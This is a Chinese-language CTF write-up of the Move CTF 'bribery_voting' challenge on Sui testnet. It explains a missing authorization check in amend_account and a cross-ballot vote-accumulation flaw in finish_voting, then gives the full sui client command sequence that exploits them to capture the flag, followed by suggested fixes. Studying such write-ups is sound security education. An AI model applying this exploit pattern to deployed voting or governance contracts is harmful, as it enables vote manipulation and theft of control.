概述MoveCTF共学营由HOH水分子社区联合Cyclens及Movebit共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解Web3领域安全问题、提升在网络安全领域的实战能力。详细信息请参考:
Move CTF 共学营由 HOH 水分子社区联合 Cyclens 及 Movebit 共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解 Web3 领域安全问题、提升在网络安全领域的实战能力。
详细信息请参考:https://platform.cyclens.tech/activity/1
本文分析 Move CTF Week3 挑战 - bribery_voting
,该挑战部署在 Sui 测试网上,主要考察开发者对权限与访问控制、逻辑漏洞与状态管理的理解。
0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8
5pbLFCnnBAUsDVx5CiwqB3MmLazE6kbNQWc73HxJNUAp
0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e
cuidaquan
挑战合约包含四个核心模块:
struct Ballot has key, store {
id: UID,
voted: VecMap<address, u64>,
has_voted: bool,
}
struct VoteRequest {
voting_power: u64,
voted: VecMap<address, u64>,
}
struct Candidate has key, store {
id: UID,
account: address,
total_votes: u64,
}
struct Briber has key {
id: UID,
given_list: VecSet<ID>,
}
挑战的 get_flag
函数检查关键条件:给 @0xbad
地址的投票数 >= 21票
核心漏洞位于 candidate::amend_account
函数中:
public fun amend_account(
candiate: &mut Candidate,
account: address,
) {
candiate.account = account;
}
关键问题:
核心漏洞位于 ballot::finish_voting
函数中:
public fun finish_voting(ballot: &mut Ballot, request: VoteRequest) {
let VoteRequest {
voting_power: _,
voted,
} = request;
let (candidates, votes) = voted.into_keys_values();
candidates.zip_do!(votes, |c, v| {
let ballot_voted = &mut ballot.voted;
let already_voted = ballot_voted.try_get(&c);
if (already_voted.is_some()) {
*ballot_voted.get_mut(&c) = already_voted.destroy_some() + v; // 累加逻辑
} else {
ballot_voted.insert(c, v);
}
});
}
关键问题:
amend_account
函数缺乏基本的权限验证@0xbad
@0xbad
从部署交易中获取必要的共享对象:
# 查看部署交易详情
sui client tx-block 5pbLFCnnBAUsDVx5CiwqB3MmLazE6kbNQWc73HxJNUAp
获得的共享对象:
0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e
创建候选人共享对象和3个Ballot对象用于攻击:
# 创建候选人(共享对象)
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module candidate --function register --gas-budget 10000000
# 获得候选人ID: 0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955
# 创建第一个ballot(目标ballot)
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot1 ID: 0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9
# 创建第二个ballot
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot2 ID: 0x8c0af640de0ae8d100f9895a51c46c09dfd43a4658445447038718c2fec2e2e9
# 创建第三个ballot
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot3 ID: 0xfd9f6fa7228156fc4ac3c6d8bef732769dc27daaeb06eecb269f93e51851bc73
sui client ptb \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::amend_account" \
"@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" \
"@0x0000000000000000000000000000000000000000000000000000000000000bad" \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
"@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" --assign request1 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
"@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request1 10 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
"@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request1 \
--gas-budget 50000000
# 交易哈希: d6XQkLV6Ufe2cM4CACAfxPmWQSpk7hCxKSt4wGZvWJx
sui client ptb \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
"@0x8c0af640de0ae8d100f9895a51c46c09dfd43a4658445447038718c2fec2e2e9" --assign request2 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
"@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request2 10 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
"@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request2 \
--gas-budget 50000000
# 交易哈希: 2cCAtuTzJ2ra34ACv28jEfuLRuKzepXxsKmg3n7uZMUv
sui client ptb \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
"@0xfd9f6fa7228156fc4ac3c6d8bef732769dc27daaeb06eecb269f93e51851bc73" --assign request3 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
"@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request3 10 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
"@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request3 \
--gas-budget 50000000
# 交易哈希: 52nayxsPA3ypUYvvXhz8eF3Y3gskuaWFjcMMPAKrvLUY
sui client call \
--package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 \
--module briber --function get_flag \
--args 0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e \
0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9 \
"cuidaquan" \
--gas-budget 10000000
# 交易哈希: HJHy8271ZXhHRDipStHYzVFqXBcqPd5kQNmvRgeh74Zt
步骤 | 交易哈希 | 结果 |
---|---|---|
权限漏洞利用+第一次投票 | d6XQkLV6Ufe2cM4CACAfxPmWQSpk7hCxKSt4wGZvWJx |
候选人账户修改为@0xbad,目标ballot获得10票 |
第二次跨Ballot攻击 | 2cCAtuTzJ2ra34ACv28jEfuLRuKzepXxsKmg3n7uZMUv |
目标ballot累积到20票 |
第三次跨Ballot攻击 | 52nayxsPA3ypUYvvXhz8eF3Y3gskuaWFjcMMPAKrvLUY |
目标ballot累积到30票 |
Flag获取 | HJHy8271ZXhHRDipStHYzVFqXBcqPd5kQNmvRgeh74Zt |
成功获取Flag |
项目 | 值 |
---|---|
Flag | 19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9 |
累积投票数 | 30票 |
目标地址 | @0xbad |
目标Ballot | 0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9 |
攻击状态 | 成功 |
权限验证增强:
public fun amend_account(
candidate: &mut Candidate,
account: address,
ctx: &TxContext
) {
assert!(candidate.account == tx_context::sender(ctx), E_UNAUTHORIZED);
candidate.account = account;
}
状态关联验证:
public fun finish_voting(ballot: &mut Ballot, request: VoteRequest) {
assert!(request.ballot_id == object::id(ballot), E_BALLOT_MISMATCH);
// 其他逻辑...
}
投票权限制: 限制单个ballot的最大投票权累积
Move CTF Week3 挑战揭示了权限控制和状态管理方面的重要安全问题。通过权限控制缺失和状态管理漏洞的组合攻击,攻击者能够完全绕过投票系统的安全机制。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!